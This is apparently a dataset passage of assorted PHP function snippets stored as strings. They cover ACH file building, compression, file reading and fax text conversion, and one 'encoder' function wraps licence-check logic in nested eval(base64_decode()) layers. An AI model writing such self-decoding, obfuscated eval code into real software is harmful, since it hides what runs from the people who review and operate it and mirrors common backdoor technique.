records\n\t\tforeach ($this->batches as $batch) {\n\t\t\t$data .= $batch->getData();\n\t\t}\n\t\t// add file control record.\n\t\t$data .= $this->control->getData();\n\n\t\treturn $data;\n\t}", "protected function getCompression() {}", "public static function compress($data){\n return zlib_encode($data, ZLIB_ENCODING_DEFLATE, 9);\n }", "public function doOutputCompress() {}", "function fatchfilecontent($file_path = NULL)\n {\n $handle = fopen($file_path, \"r\");\n $contents = '';\n while (!feof($handle)) {\n $contents .= fread($handle, 8192);\n }\n fclose($handle);\n return $contents;\n }", "function generarArchivoTextoPS(&$data_content)\n {\n $bEsAscii = TRUE;\n foreach (str_split($data_content) as $c) if (ord($c) >= 127) {\n $bEsAscii = FALSE; break;\n }\n if ($bEsAscii) {\n $ruta_archivo = tempnam('/tmp', 'data_');\n file_put_contents($ruta_archivo, $data_content);\n return $ruta_archivo;\n }\n \n /* El contenido a escribir no es ASCII. Ya que la página web emite \n * UTF-8, se asumirá que el contenido está también codificado en UTF-8\n * (verificado en Firefox 16 e Internet Explorer 6). \n * \n * El código de abajo es necesario debido a que\n * 1) /usr/bin/sendfax no reconoce como texto un archivo en codificación\n * distinta de ASCII\n * 2) /usr/sbin/textfmt sólo puede convertir desde una fuente ISO-8859-15\n */\n $ruta_temp = tempnam('/tmp', 'data_');\n file_put_contents($ruta_temp, iconv('UTF-8', 'ISO-8859-15//TRANSLIT', $data_content));\n $ruta_archivo = tempnam('/tmp', 'data_');\n $output = $retval = NULL;\n exec('/usr/sbin/textfmt -B -f Courier-Bold -Ml=0.4in -p11 < '.\n escapeshellarg($ruta_temp).' > '.escapeshellarg($ruta_archivo),\n $output, $retval);\n unlink($ruta_temp);\n\n return ($retval == 0) ? $ruta_archivo : NULL;\n }", "function encoder ($content) {\n $code = 'global $conf;$key = $conf[\"license\"];@eval(base64_decode(\"JGNvZGUgPSBzdWJzdHIgKCRrZXksIDAsIDE0KTsgQGV2YWwgKGJhc2U2NF9kZWNvZGUgKCdKR052WkdVZ1BTQnpkSEowYjJ4dmQyVnlLQ1JqYjJSbEtUc2tkWE5sY25NZ1BTQW9KR052WkdWYk5WMHFNVEFnS3lBa1kyOWtaVnM0WFNrcU5Uc2tZV3hzYjNkbFpGOXplVzFpYjJ4eklEMGdJakl6TkRVMk56ZzVZV0pqWkdWbmFHdHRibkJ4YzNWMmVIbDZJanNrYzNsdFltOXNjMTlqYjNWdWRDQTlJSE4wY214bGJpQW9KR0ZzYkc5M1pXUmZjM2x0WW05c2N5azdKR2xrSUQwZ01EdG1iM0lnS0NScElEMGdNRHNnSkdrZ1BDQTBPeUFrYVNBckt5a2dleVJzWlhSMFpYSWdQU0J6ZEhKd2IzTWdLQ1JoYkd4dmQyVmtYM041YldKdmJITXNJQ1JqYjJSbElGc2thVjBwT3lSc1pYUjBaWElnUFNBa2MzbHRZbTlzYzE5amIzVnVkQ0F0SUNSc1pYUjBaWElnTFNBeE95UnBaQ0FyUFNBa2JHVjBkR1Z5SUNvZ2NHOTNJQ2drYzNsdFltOXNjMTlqYjNWdWRDd2dKR2twTzMwa2MzUnlJRDBnSW5KNVkySnJiV2hpSWpza2MzUnlYMnhsYmlBOUlITjBjbXhsYmlBb0pITjBjaWs3WlhaaGJDQW9ZbUZ6WlRZMFgyUmxZMjlrWlNBb0owcElWV2RKUkRCbldUSldjR0pEUVc5S1NGWjZXbGhLZWtsRE9HZE9VMnMzU2tkR2MySkhPVE5hVjFKbVl6TnNkRmx0T1hOamVVRTVTVU5KZVUxNlVURk9hbU0wVDFkR2FWa3lVbXhhTW1oeVlsYzFkMk5ZVGpGa2JtZzFaV2xKTjBwSVRqVmlWMHAyWWtoT1psa3lPVEZpYmxGblVGTkNlbVJJU25OYVZ6Um5TME5TYUdKSGVIWmtNbFpyV0ROT05XSlhTblppU0Uxd1QzbFNlbHBZU25CWlYzZG5VRk5CYmtwNmRHMWlNMGxuUzBOU2NFbEVNR2ROUkhOblNrZHJaMUJEUVd0ak0xSjVXREo0YkdKcWMyZEtSMnRuUzNsemNFbElkSEJhYVVGdlNrZHJaMHBUUVhsSlJEQTVTVVJCY0VsSWMydGlSMVl3WkVkV2VVbEVNR2RqTTFKNVkwYzVla2xEWjJ0WlYzaHpZak5rYkZwR09YcGxWekZwWWpKNGVreERRV3RqTTFKNVYzbFNjRmhUYTJkTGVVSjZaRWhLZDJJelRXZExRMUpvWWtkNGRtUXlWbXRZTTA0MVlsZEtkbUpJVFhOSlExSjZaRWhKWjFkNVVuQkxla1prUzFSME9WcFhlSHBhVTBJM1NrZDRiR1JJVW14amFVRTVTVWhPTUdOdVFuWmplVUZ2U2tkR2MySkhPVE5hVjFKbVl6TnNkRmx0T1hOamVYZG5Ta2hPTUdOc2MydGhWakJ3U1VOeloyTXpVbmxqUnpsNlNVTm5hMWxYZUhOaU0yUnNXa1k1ZW1WWE1XbGlNbmg2VEVOQmEyTXpVbmxKUm5OcllWTXdlRmhUYXpkbVUxSnpXbGhTTUZwWVNXZFFVMEZyWWtkV01HUkhWbmxKUTFWblNraE9OV0pYU25aaVNFNW1XVEk1TVdKdVVUZEtSM2hzWkVoU2JHTnBRVGxKUTFKeldsaFNNRnBZU1dkWWFVRnJZVmRSTjBwSGVHeGtTRkpzWTJsQk9VbERVbk5hV0ZJd1dsaEpaMWhwUVd0a1ZITnJZa2RXTUdSSFZubEpRM001U1VOU2NGcERRWEpKUTFKeldsaFNNRnBZU1dkUWFqUm5Ta2RyWjB0NVFXdGhWSE5yWWtkV01HUkhWbmxKUkRCblNrZDRiR1JJVW14amFVRXJVR2xCZVU5NVVuTmFXRkl3V2xoSloxQlRRV3RpUjFZd1pFZFdlVWxHTkdkS1NFNDFZbGRLZG1KSVRtWlpNamt4WW01Uk4wcEhlR3hrU0ZKc1kybEJjVkJUUW5wa1NFcDNZak5OWjB0RFVtaGlSM2gyWkRKV2ExZ3pUalZpVjBwMllraE5jMGxEVW5wa1NFbG5WM2xTY0ZoVGF6ZEtSM2hzWkVoU2JHTnBRVGxKUTFKeldsaFNNRnBZU1dkS1UwRnJZek5zZEZsdE9YTmpNVGxxWWpOV2RXUkVjMnRpUjFZd1pFZFdlVWxFTUdkS1IwWnpZa2M1TTFwWFVtWmpNMngwV1cwNWMyTjVRbUpLUjNoc1pFaFNiR05zTURkS1NFNXNZMjFzYUdKRFFYVlFVMEZyWWtkV01HUkhWbmxQTXpGc1pHMUdjMGxEYUdsWldFNXNUbXBTWmxwSFZtcGlNbEpzU1VObmJsRXliRk5sYkhCWlUyNUNXbFl6YUcxWmJHUkhUa1puZVdWSGVHbGhWVVUxVTFWU2JrNHdjRWhPVjNoclRWUnNObGRzYUV0alJteFlaREprVVZVd1NtOVpNalZMWVVkV1ZGRlhPVXhXU0U1eVdYcEtWMlZYUmxoU2JrNVpUVzVvYzFsdGJFSlBWV3hKVkdwQ2FtSllhSE5aYld4Q1lqQndTVlJ0ZUdwaVYzaHZXV3RPY2s0eGNIUlBXR3hLVVRKa2NsbFdUa0pQVld4RlVWUmtTbEV4U25kVFZWSXpXakJ3U1ZScVFtcGlSR3g2VjJ4ak1FNHdiRVJWYmtKS1VUTk9lVk14VGtOT01rWllWMWRrVEZFeFNuZFRWVkl6V2pCd1NWUnRlR3BpVjNodldXdFpOV1JHYkZsaFIxcHBVakZhTVZNeFRrTk9NSEJJVGxkNGEwMVViRFpYYkdoTFkwWnNXR1F5WkZobFZrcDNWMFpPUWs5VmJFbFVha0pxWW10S01sa3piRUppTUhCSVVtNU9hVko2YTNwWGJHUlRXbTFOZW1KSVVscGlWR3g2V1ROc00xb3djRWxVYlhocVlsZDRiMWxyVGtOWmEzQklZa2RTVEZaSVVUVlhiR1EwWld4d1ZGRnFaRXRTZWxaeldrUkZOV1ZzY0ZsVGJrSmFWak5rYmxZemJGTmpSWEJWWWtkU1NsRXpUVFZUVldoUFRVZE9kVkZ1V21wbFZVWjJVMnRrUjJNeVNraFBWRTVoVmpGS2JWbDZUbk5rUm14MFQxaE9hbVZZWkc1VGEyaFBZa2RPZEdKSGFHbFJNRXBwVTJ0a2MxcEZkRlZrUkd4dFZqRndNbGt5TVZkaFJtdDVXakprVEZFeFNqRlhiR2hyV20xTmVWWnViR2hXTUZwNlUxVmtSMlZyYkVSVmJrSktVa1JCY2xOVlRscGFNSEJJWlVkNGExTkdTbk5aTW14eVdqSldOVlZ1VG1GWFJrbDNWMnhvU2xveFFsUlJWM1JxVFRKNE1GZFhNRFZqTWsxNFQxZHdhVTB4V2pGYVJVNUNaRVZzUlZKWFpFMVZNRVp5V1d0a1YwMUhVa2hXYm14S1VURldibE5yYUU5T1YwcFlVMjVhYVZORk5XMVhWRWsxVFZkS2RWVlVaRXRTTTJoeldrVm9VMkpIVG5CUlZHeEtVVEZLYjFsclpEUmtiVkY1Vm0xMFdVMHdOREZaYkdSTFpHMUtTVlJYWkZobFZrcDZWMnhvVTAxR2NGbFRiVkpRVFhwR2MxcEhNVWRqTUd4RVlVZHNXbGRGTlhOVWJYQlRXbXh3U0ZadGNHbE5iRXB6VTFWT2JtRldaSFJOUkZac1ZtNUNXVlZ0TVhkaFJrVjNVbTVhVkdFeVRYaFphMlJTWlVVNVdXTkhSbGhTV0VJelZqRmFhMDB4YjNoaVJteFZWakpTVEZWcVNqQmliRlpIVlZSQ1lVMUlRa2xhVldRMFlURk9SMU51VGxwTmJYaDVWMnBLVjA1V1ZuVlViVVpZVW10c00xWXllRzlUYkc5NFVXeFNVbFl6VW05V1ZFSkhaVVpPVmxWck5VNVNWM2hGV1hwS2EyRlZNSGRqU0VwVVZsVTFkVmxVU2t0VFJscHhVVzEwVTAxV2J6RlZla1pQVVcxU1JtSkZiRlZoYTBweFdXMTBTMDFzYTNwaVJVcHBUVWhDU1ZWdE5VOWhWa28yWVROd1dHSkhVbFJYYlRGT1pXMUtTVlZzY0dsV1IzZzJWMVJPYzAweGIzZGpSV2hzVWpOb2NsVXdXa3RqTVd0NVlraEtZVTFWU2taYVJFcHJWRzFHZFZSdVNscGhNbEpZVkZWa1UxTkdXblZpUlhCVFVrVktkVlV5ZEd0T1IwcElWV3RzVm1KWWFIRlpWbFpIWXpGT1ZsUnNUbXhpVmxwWlZGWmtjMkZWTVhWaFJGcFlVa1Z3VUZwSE1WTlhSVFZWVVd4Q2JGWnJjRFpXTW5odlZUQXhSMk5HYkZSV01sSlNWbFJDUjJOc1pGZGFSRkpxVFd0c05sZHJaRFJaVmtweFlrUmFZVlp0VGpSWlZtUktaVmRXU1dORmNGTmlhelY1VjFkMGExWXdNVWhWYTJoWFltMTRXbFpyYUZKT1ZrNXlXWHBHYVZJeFJqUlVNV2gzV1Zaa1JtTklaRmhXYlZFd1YyMHhUbVZzVm5WaVJYQlRVa1ZLZFZkV1kzZE9WMDVJVTI1Q1VsWjZiRXhhVm1SUFpXeE9WbFJzVG10V2JrSmFWMnRrWVdGck1YTlhhbFphVm0xU1NGbDZRakJXVjFKRlVtMXNhV0Y2Vm5wWGExWlBVVzFKZDJORmFFOVdNMmh5VkZaU2MwNXNaSE5oUlhScVVtMTRXVnBFVGtOVlIxWlhVMWhrV0dKSFRqUmFSRVp1WlZkS1NHUkZjRk5TUlVwMVZUSjBhMk15UlhkUFZGWldZbTVDY2xVd1ZuZGlWbXhYV2taS1lVMVZTbFZWVm1SelUyMUdkVlJxU2xSTmJYaFVXVEJhZDFKWFRYcFNhekZPWWtoQmVWZFVTbk5SYlVsM1kwVm9hRTF0VWxKV1ZFSkhUVEZSZW1KRlNtaE5hMXBWVlZaU2IxTnNTa2RTVkU1VVZsVTFWRmt3Vm5OU1IwMTZVMnQ0VmsxRmEzcFZNblJyVGtkS1NGVnJiRlppV0doeFdWWldSazVXVGxaYVIwWnFUV3RzTlZReGFITlRiRVY1V2toYVZHRXlVbnBaVkVKelVrWmFXRnBIY0ZObGJYUTJWVEZXVDJKdFJYbFVXSEJwVTBaS1lWbHNVbk5sYkd3MlVsUldhR0pWYkRaV2JUVlhZVEZGZWxwSE5WUmhNbEo1V1RKemVGWkhSWHBSYTNCU1pXMW9kVmRVUW1wT1ZUQjNZa1ZTWVUxdVVuRlVWRW8wVFVaa1dFMUVWbXBOYXpFMFZERmtkMkZWTUhoWGFrWmhVbFUwZWxkcVFuZFRSMFY2VVd0NFYxTkZOWGxYVjNSclZqQXhTRlZyYUZkaWJYaExWV3RTUTJKc1RuSmhSVGxQVmpCd1dWVXlOV0ZoVms1R1RsY3hXRlpGYXpGVVZtUkxaRlpXV0ZwRk1WWk5SVnA1VjFkMGExWXdNVWhWYTJoWFltMTRTMVZZY0VOaWJGSlhWVzV3YUUxcmNFbFdiWEJEWVRGSmVGZHFWbFJXVmtZelYycENkMU5HU25WVWJXeFRaVzEwTmxZeWVHdFZNWEIwVkZod2FWTkdTbUZaYkZKelpXeHJlbUpGVGxwaE0wSkpXbFZrTkdFeFRrZFRiazVhVFc1a00xUnFRbmRUVmxKeFVXMXdhVkpIZUROV01uUlBVVzFTVjFGc1VsSldNMUp3VldwR1dtUXhjRVphUm1Sc1ZsUm9ObFJXWkRSaE1rcFdWMjV3VkZaVk5YWlpWbHB6VjFaU2RHVkZPV2hpUlhCMFZqSjBhMVl5Um5SVFdHeFdZbGhvUzFWVVNtdGpSbFY1WkVkMGFrMXJWak5aYTFaWFZHeEplVlZyZUZaTlJuQk1XWHBHYzJNeVJrWlViVVpwVmxad1dsWnNXbE5oTVUxNFZHdGFUMWRGTldGVVYzQkhaV3hzVmxwRmRGTlNhMXBXV1d0V2QxVnJNVlppZWtwWVlURmFkbFY2Um5ka1JrcHpZVVphV0ZKc2NFeFhWbHBUVVRKT1IxVnJhRTVXTUZweFZGZDBjMDVXVVhoaFNFNVVZa1ZXTlZkcmFHRldSMFY1WVVaa1dHRnJTak5XYTFwSFYxZEdSazVXVGxOV1ZtOTZWbFJHVjFSck5VZGlNMlJPVm14YVUxWXdWa3RUTVZaWlkwWk9hV0pIZHpKV1IzaHJZVVpaZDAxVVdsZFdlbFo2VlRKNFJtVldjRWxUYkhCcFZrVmFXVlpHVWtkaWJWWnpWVzVTYkZJelFuQldhazV2Wkd4a1dHUkdjRTlXTVZvd1ZsZDBjMVpHWkVaT1ZYUldZVEZhU0ZwWGVFOVdiRlp5WTBkd1UxWXphRVpXUjNScllURk5lRlJyWkZkaVZGWlZXV3RWTVZFeGNGWldXR2hUVW10YVdsWnRkSGRWYXpGSVpETmtWazFYVW5sVVZtUlhaRVpXYzJGR1VtbGlhMHA1VmxSQ1YyTXlTbk5VV0dSVllrVTFjbFp0TlVOWGJHUnlXa2RHYUdGNlJucFdNbkJYVjJ4YWRGVnJhRnBsYTFwMVdsZDRVMk5XUm5SalIyaFlVakZLTVZaclpEQlVNREI0WWpOa1QxWldTbTlhVnpGVFZFWlZkMVpVUm1wTlYzUTFWRlpvVDJGR1NYZGpSVlpXVm14S2VsVXllRTlTYXpWSldrWndUbUZzV2xWWGEyTjRWVEZrVjFKdVZtRlNNRnBaVld4a05HUldWalpSYXpsV1RXeGFlbGt3V25OV1IwcHlVMjFHVjJGck5YSmFSRVpUVG14T2MxUnRiRk5pYTBsM1YxZDBiMVl4YkZkV1dHUlRZbXh3VlZacVRsSk5SbFY1WlVWYWEwMVdjSGxVTVZwaFZHeEtjMk5JVWxkaE1VcEVXbGN4UjFadFZrWlZiRXBwWW10S2VWWlVRbGRrYlZGNFlraEdWR0ZzU25KWmJGcEhUbFphZEU1WVRsVlNhMVkwVlRJMVIxZHRSbkpqUmxKYVlURlpkMVpyV2tkV1YwcEhVbXhhVGxKWE9IbFdNblJYWWpGTmQwMVZhRlJYUjNoelZUQmFkMk5zVWxobFIwWlBWbXN4TTFaSGVFOWlSMHBKVVd4d1ZrMXFWa1JXTW5oYVpXeHdTVnBHVWs1V2EyOHlWVEZrYzJOdFRrWlBWRTVSVmtSQ1RGTlhiSEpqUlRrelVGUXdia3RUYXpjbktTazcnKSk7IGlmICgkdXNlcnMgPT0gMCkgJHVzZXJzID0gMTsgaWYgKCR1c2VycyA9PSA0OTUpICR1c2VycyA9IDEwMDAwMDA7IGlmICghTElDRU5TRV9PSykgeyBpZiAoISBlbXB0eSAoJF9QT1NUIFsnY29kZSddKSkgeyAkdGhpcy0+dmlldy0+bW9kZSA9IDE7IH0gZWxzZSB7ICR0aGlzLT5fcmVkaXJlY3QgKCcvaW5kZXgvYWN0aXZhdGUnKTsgfSB9IGVsc2UgeyAgaWYgKHN0cmxlbiAoJGtleSkgIT0gMTkpICB7ICR0aGlzLT5fcmVkaXJlY3QgKCcvaW5kZXgvYWN0aXZhdGUnKTsgfSBlbHNlIHsgZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLUjJocVlqSlNiRWxFTUdkak0xWnBZek5TZVVsRFoydGhNbFkxVEVOQmVFNVRhemRKUTFKclNVUXdaMGxEYUdsWldFNXNUbXBTWmxwWE5XcGlNbEpzU1VOb2EyRllUbkpZTTFKMlpFZEdjMWd6VG5kWlYwNXNTME5TWmxVd1ZsTldhMVpUU1VaemJsSkZPVVJXVlRGR1ZHeFNabFZyT1ZCV1EyUmtTMU5yY0U5NVFXdGphVUU1U1VOQmIxbHRSbnBhVkZrd1dESldkVmt5T1d0YVUwRnZTa1k1VkZKV1NsZFNWa2xuVjNsa1JWUXdUbFpVVlZaUFZrWTVVMVF3T1ZWS01UQndTMVJ6WjBsSFZqSlpWM2R2V1cxR2VscFVXVEJZTWxKc1dUSTVhMXBUWjJsVGEyUlBaR3h3U0ZaWFpGRlZNRVp5VjJ0Tk1HRXlUbkZqTW1SS1VURktOVmRFU2pSaVIwcHdVVlJzU2xORk5IZFpNakUwWWtkS2NGRlhPVXRUUld4M1ZETnNRbUV5VFhsV2JteG9WakJhZWxOVlVYZGFNSEExV1hwa1NsRXhTbTlaYTJRMFpHMVJlVlp0ZEZsTk1EUXhXV3hrUzJSdFNrbFVWMlJSVlRCR2NGUlhjRTVOUlRWVlYxUk9VRkpIZUc5WFZ6RlBZVEZ3V0ZwSE9XaE5ha1l4V1RCb1IyVnRVbGxYYWxKc1YwYzVjRlF6YkVKaE1rMTZZa2hTV21KVWJIcFpla1UxWVcxSmVsWnVWbXRSTUVVMVUxVm9UMDFIVG5SbFIzaHBZVlZHZGxOclpFZGpNa3BJVDFST1lWWXhTbTFaZWs1elpFWnNkRTlZVG1wbFYzTXpVMVZPUTJKWFNYcFRWMlJNVVRGS2QxTlZVWGRhTURGRll6SmtTMUl5ZEc1VlJVNURaVzFTU1ZOdVRtRldlbEp1VXpCT1UyRnRTWGxWYlhoTVZraE9ibE5yWkhKYU1IUTFZek5DU2xOSVRtNVpWbVJhV2pCMFJGVnVRa3BSTVZadVZGZHNRazlXUWxSUldHUk1WVEJKTTFOVlRsTmpNWEJaVldwQ1lWZEZiRzVWUms1RFpHMU9kRlZYWkV4Uk1VcHhXV3BLVTJKR1pEVlZia0paVlRKek0xTlZUbE5qTVhCWlZXcENZVmRGYkc1VlJrNUNZVEpLU0ZacVFtdFNNVm8xVTFWT1Zsb3djRWxVYWxacFZqQndNbGxyYUU5YWJHdDVUMVJHYVdKc1JUTlRWVTVUWXpGd1dWVnFRbUZYUld4dVV6TnZkMW93Y0VobFIzaHJVMFpLYzFreWJFSkxNVUp3VVZkMGFGVXdSbmxUVlU1VFkwVTVOVkZYWkV0U00yaHpXa1ZvVTJKSFRuQlJWR3hLVVRGS2VsZHNhRk5OUm5CWlUxZGtVV0ZxVW01VVYzQjZXakJ3U0dWSGVHdFRSa3B6V1RKc1FrOVZiRVJWYms1aFYwWkpkMWRzYUVwYU1XaHdVVlJHVGxaSFRUTlRWVTVUWXpGd1dWVnFRbUZYUld4dVV6SnZkMW95U1hwVGJYUktVVEprY2xkVVNUVmhNWEJVVVcxS1MxSXllR3RUTVZKNldqSmFWRkZ0ZUdsVFJUVnpVMVZvZWxvd2NFaGxSM2hyVTBaS2Mxa3liRUpQVld4SVQxaHNZVkV3Um5aVGEyUlBaR3h3U0ZadFNrdFNNbmhyVXpGT1FtTnJiRWhQV0d4aFVUQkdkbE5yWkU5a2JIQklWbGRrV0dWV1NuZFVSbEpIV2tWMFZHSjZRbEJsVlVrMVUxVk9VMk14Y0ZsVmFrSmhWMFZzYmxWR1RrSmhNa3BJVm1wQ2ExSXhXalZUVlU1V1dqQndTVlJxVm1sV01IQXlXV3RvVDFwc2EzbFBWRVpwWW14Rk0xTlZUbE5qTVhCWlZXcENZVmRGYkc1VlJrNUNZVEZzV0dWSVRtbE5NbEp6VjJ0Wk5XVnRWbGhOVjJ4cFRXNW9ObE5WV25waE1rcElWbXBDYTFJeFdqVlhSbEo2V2pCd1NWUnRlR3BpVjNodldXdE9RbVJXUWxSUlYzUnBVakZaZDFwRlpGZGxWVGsxVVdwcmFVdFRhemRKUTBGcll6SldlV0ZYUm5OWU1qRm9aVVk1YzFwWE5HZFFVMEV3VDNsQlowcEhOV3hrTVRsNldsaEtjRmxYZDJkUVUwSm9ZMjVLYUdWVFFXOUxWSE5uU2toT2JHTnRiR2hpUmpseldsYzBaMUJUUW5wa1NFcHpXbGMwWjB0RFVucGFXRXB3V1ZkM2NFOTVRV2RhYlRsNVNVTm5hMkZUUVRsSlJFRTNTVU5TY0VsRWQyZEtTRTVzWTIxc2FHSkdPWE5hVnpRM1NVTlNjRWxEYzNKTFUwSTNTVWRzYlVsRFoydGhVMEU0U1VOU2VscFlTbkJaVjNobVlsZEdORmd5ZUd4aWFXdG5aWGxCYTJKdFZqTllNMDVzWTIxc2FHSkRRbUpLUjJ4a1NVUXdaMHBJVG14amJXeG9Za05DWWtwSGJHUlBlVUk1U1VkV2MyTXlWV2RsZVVGclltMVdNMWd6VG14amJXeG9Za05DWWtwSGEyeE9SakJuUzNvd1owcElUbXhqYld4b1lrTkNZa3BIYkdSUGVVSTVTVWd3WjBsSFduWmpiVlpvV1RKblowdERVblZhV0dSbVl6SldlV0ZYUm5OSlIwWjZTVU5TY0VsRU1DdEpRMWxuU2tkNGJHUklVbXhqYVd0blpYbEJhMkpIVmpCa1IxWjVTVVF3WjBwSVRqVmlWMHAyWWtoT1psa3lPVEZpYmxGblRGTkJlRWxETUdkS1IzaHNaRWhTYkdOcFFXeEpRMUo2WlZjeGFXSXllSHBZTWs1MlpGYzFNRTk1UVd0aVIxWXdaRWRXZVVsRU1HZEtSMFp6WWtjNU0xcFhVbVpqTTJ4MFdXMDVjMk41UW1KS1IzaHNaRWhTYkdOc01EZEpTREE5SWlrcE95QWdabTl5SUNna2FTQTlJREE3SUNScElEd2dORHNnS3lzZ0pHa3BJSHNnSkc1bGQxOXpaWEpwWVd4YkpHbGRJRDBnSkhObGNtbGhiQ0JiSkdsZE95QjlJQ0FrWTI5a1pTQTlJR3B2YVc0Z0tDY25MQ0FrYm1WM1gzTmxjbWxoYkNrN0lDQWtZMjlrWlNBOUlITjFZbk4wY2lBb0pITmxjbWxoYkN3Z01Dd2dOQ2s3SUdsbUlDaHpkSEowYjJ4dmQyVnlJQ2drWTI5a1pTa2dJVDBnYzNSeWRHOXNiM2RsY2lBb0pHaGpiMlJsS1NrZ2V5QWdhV1lnS0NFZ1pXMXdkSGtnS0NSZlVFOVRWQ0JiSjJOdlpHVW5YU2twSUhzZ0pIUm9hWE10UG5acFpYY3RQbTF2WkdVZ1BTQXhPeUI5SUdWc2MyVWdleUFrZEdocGN5MCtYM0psWkdseVpXTjBJQ2duTDJsdVpHVjRMMkZqZEdsMllYUmxKeWs3SUgwZ2ZTQmxiSE5sYVdZZ0tDUjFjMlZ5Y3p3ME9UVXBJSHNnSkhGMVpYSjVJRDBnSjFORlRFVkRWQ0JqYjNWdWRDaHBaQ2tnWVhNZ2JuVnRJRVpTVDAwZ1pHRmpiMjV6WDNWelpYSnpJRmRJUlZKRklHTjFjM1J2YldWeVgybGtJRDBnSnk1cGJuUjJZV3dvSkhSb2FYTXRQbk5sYzNOcGIyNHRQbU4xYzNSdmJXVnlYMmxrS1M0bklFRk9SQ0J5WldGa2IyNXNlVHcrTVNCQlRrUWdhWE5mWVdSdGFXNGdQU0F3SnpzZ0pISnZkeUE5SUNSMGFHbHpMVDVrWWkwK1ptVjBZMmhTYjNjZ0tDUnhkV1Z5ZVNrN0lHbG1JQ2drY205M0lGc25iblZ0SjEwZ1BpQWtkWE5sY25NcElIc2dhV1lnS0NFZ1pXMXdkSGtnS0NSZlVFOVRWQ0JiSjJOdlpHVW5YU2twSUhzZ0pIUm9hWE10UG5acFpYY3RQbTF2WkdVZ1BTQXhPeUFrZEdocGN5MCtkbWxsZHkwK2QyVmZibVZsWkY5dGIzSmxYM1Z6WlhKeklEMGdkSEoxWlRzZ2ZTQmxiSE5sSUhzZ0pIUm9hWE10UGw5eVpXUnBjbVZqZENBb0p5OXBibVJsZUM5aFkzUnBkbUYwWlNjcE95QjlJSDBnWld4elpTQjdJQ1IwYUdsekxUNTJhV1YzTFQ1dGIyUmxJRDBnTWpzZ2ZTQjlJR1ZzYzJVZ2V5QWtkR2hwY3kwK2RtbGxkeTArYlc5a1pTQTlJREk3SUgwPSIpKTsgfSB9\"));';\n //$code = 'global $conf;$key = $conf[\"license\"];@eval(base64_decode(\"JGNvZGUgPSBzdWJzdHIgKCRrZXksIDAsIDE0KTsgQGV2YWwgKGJhc2U2NF9kZWNvZGUgKCdKR052WkdVZ1BTQnpkSEowYjJ4dmQyVnlLQ1JqYjJSbEtUc2tkWE5sY25NZ1BTQW9KR052WkdWYk5WMHFNVEFnS3lBa1kyOWtaVnM0WFNrcU5Uc2tZV3hzYjNkbFpGOXplVzFpYjJ4eklEMGdJakl6TkRVMk56ZzVZV0pqWkdWbmFHdHRibkJ4YzNWMmVIbDZJanNrYzNsdFltOXNjMTlqYjNWdWRDQTlJSE4wY214bGJpQW9KR0ZzYkc5M1pXUmZjM2x0WW05c2N5azdKR2xrSUQwZ01EdG1iM0lnS0NScElEMGdNRHNnSkdrZ1BDQTBPeUFrYVNBckt5a2dleVJzWlhSMFpYSWdQU0J6ZEhKd2IzTWdLQ1JoYkd4dmQyVmtYM041YldKdmJITXNJQ1JqYjJSbElGc2thVjBwT3lSc1pYUjBaWElnUFNBa2MzbHRZbTlzYzE5amIzVnVkQ0F0SUNSc1pYUjBaWElnTFNBeE95UnBaQ0FyUFNBa2JHVjBkR1Z5SUNvZ2NHOTNJQ2drYzNsdFltOXNjMTlqYjNWdWRDd2dKR2twTzMwa2MzUnlJRDBnSW5KNVkySnJiV2hpSWpza2MzUnlYMnhsYmlBOUlITjBjbXhsYmlBb0pITjBjaWs3WlhaaGJDQW9ZbUZ6WlRZMFgyUmxZMjlrWlNBb0owcElWV2RKUkRCbldUSldjR0pEUVc5S1NGWjZXbGhLZWtsRE9HZE9VMnMzU2tkR2MySkhPVE5hVjFKbVl6TnNkRmx0T1hOamVVRTVTVU5KZVUxNlVURk9hbU0wVDFkR2FWa3lVbXhhTW1oeVlsYzFkMk5ZVGpGa2JtZzFaV2xKTjBwSVRqVmlWMHAyWWtoT1psa3lPVEZpYmxGblVGTkNlbVJJU25OYVZ6Um5TME5TYUdKSGVIWmtNbFpyV0ROT05XSlhTblppU0Uxd1QzbFNlbHBZU25CWlYzZG5VRk5CYmtwNmRHMWlNMGxuUzBOU2NFbEVNR2ROUkhOblNrZHJaMUJEUVd0ak0xSjVXREo0YkdKcWMyZEtSMnRuUzNsemNFbElkSEJhYVVGdlNrZHJaMHBUUVhsSlJEQTVTVVJCY0VsSWMydGlSMVl3WkVkV2VVbEVNR2RqTTFKNVkwYzVla2xEWjJ0WlYzaHpZak5rYkZwR09YcGxWekZwWWpKNGVreERRV3RqTTFKNVYzbFNjRmhUYTJkTGVVSjZaRWhLZDJJelRXZExRMUpvWWtkNGRtUXlWbXRZTTA0MVlsZEtkbUpJVFhOSlExSjZaRWhKWjFkNVVuQkxla1prUzFSME9WcFhlSHBhVTBJM1NrZDRiR1JJVW14amFVRTVTVWhPTUdOdVFuWmplVUZ2U2tkR2MySkhPVE5hVjFKbVl6TnNkRmx0T1hOamVYZG5Ta2hPTUdOc2MydGhWakJ3U1VOeloyTXpVbmxqUnpsNlNVTm5hMWxYZUhOaU0yUnNXa1k1ZW1WWE1XbGlNbmg2VEVOQmEyTXpVbmxKUm5OcllWTXdlRmhUYXpkbVUxSnpXbGhTTUZwWVNXZFFVMEZyWWtkV01HUkhWbmxKUTFWblNraE9OV0pYU25aaVNFNW1XVEk1TVdKdVVUZEtSM2hzWkVoU2JHTnBRVGxKUTFKeldsaFNNRnBZU1dkWWFVRnJZVmRSTjBwSGVHeGtTRkpzWTJsQk9VbERVbk5hV0ZJd1dsaEpaMWhwUVd0a1ZITnJZa2RXTUdSSFZubEpRM001U1VOU2NGcERRWEpKUTFKeldsaFNNRnBZU1dkUWFqUm5Ta2RyWjB0NVFXdGhWSE5yWWtkV01HUkhWbmxKUkRCblNrZDRiR1JJVW14amFVRXJVR2xCZVU5NVVuTmFXRkl3V2xoSloxQlRRV3RpUjFZd1pFZFdlVWxHTkdkS1NFNDFZbGRLZG1KSVRtWlpNamt4WW01Uk4wcEhlR3hrU0ZKc1kybEJjVkJUUW5wa1NFcDNZak5OWjB0RFVtaGlSM2gyWkRKV2ExZ3pUalZpVjBwMllraE5jMGxEVW5wa1NFbG5WM2xTY0ZoVGF6ZEtSM2hzWkVoU2JHTnBRVGxKUTFKeldsaFNNRnBZU1dkS1UwRnJZek5zZEZsdE9YTmpNVGxxWWpOV2RXUkVjMnRpUjFZd1pFZFdlVWxFTUdkS1IwWnpZa2M1TTFwWFVtWmpNMngwV1cwNWMyTjVRbUpLUjNoc1pFaFNiR05zTURkS1NFNXNZMjFzYUdKRFFYVlFVMEZyWWtkV01HUkhW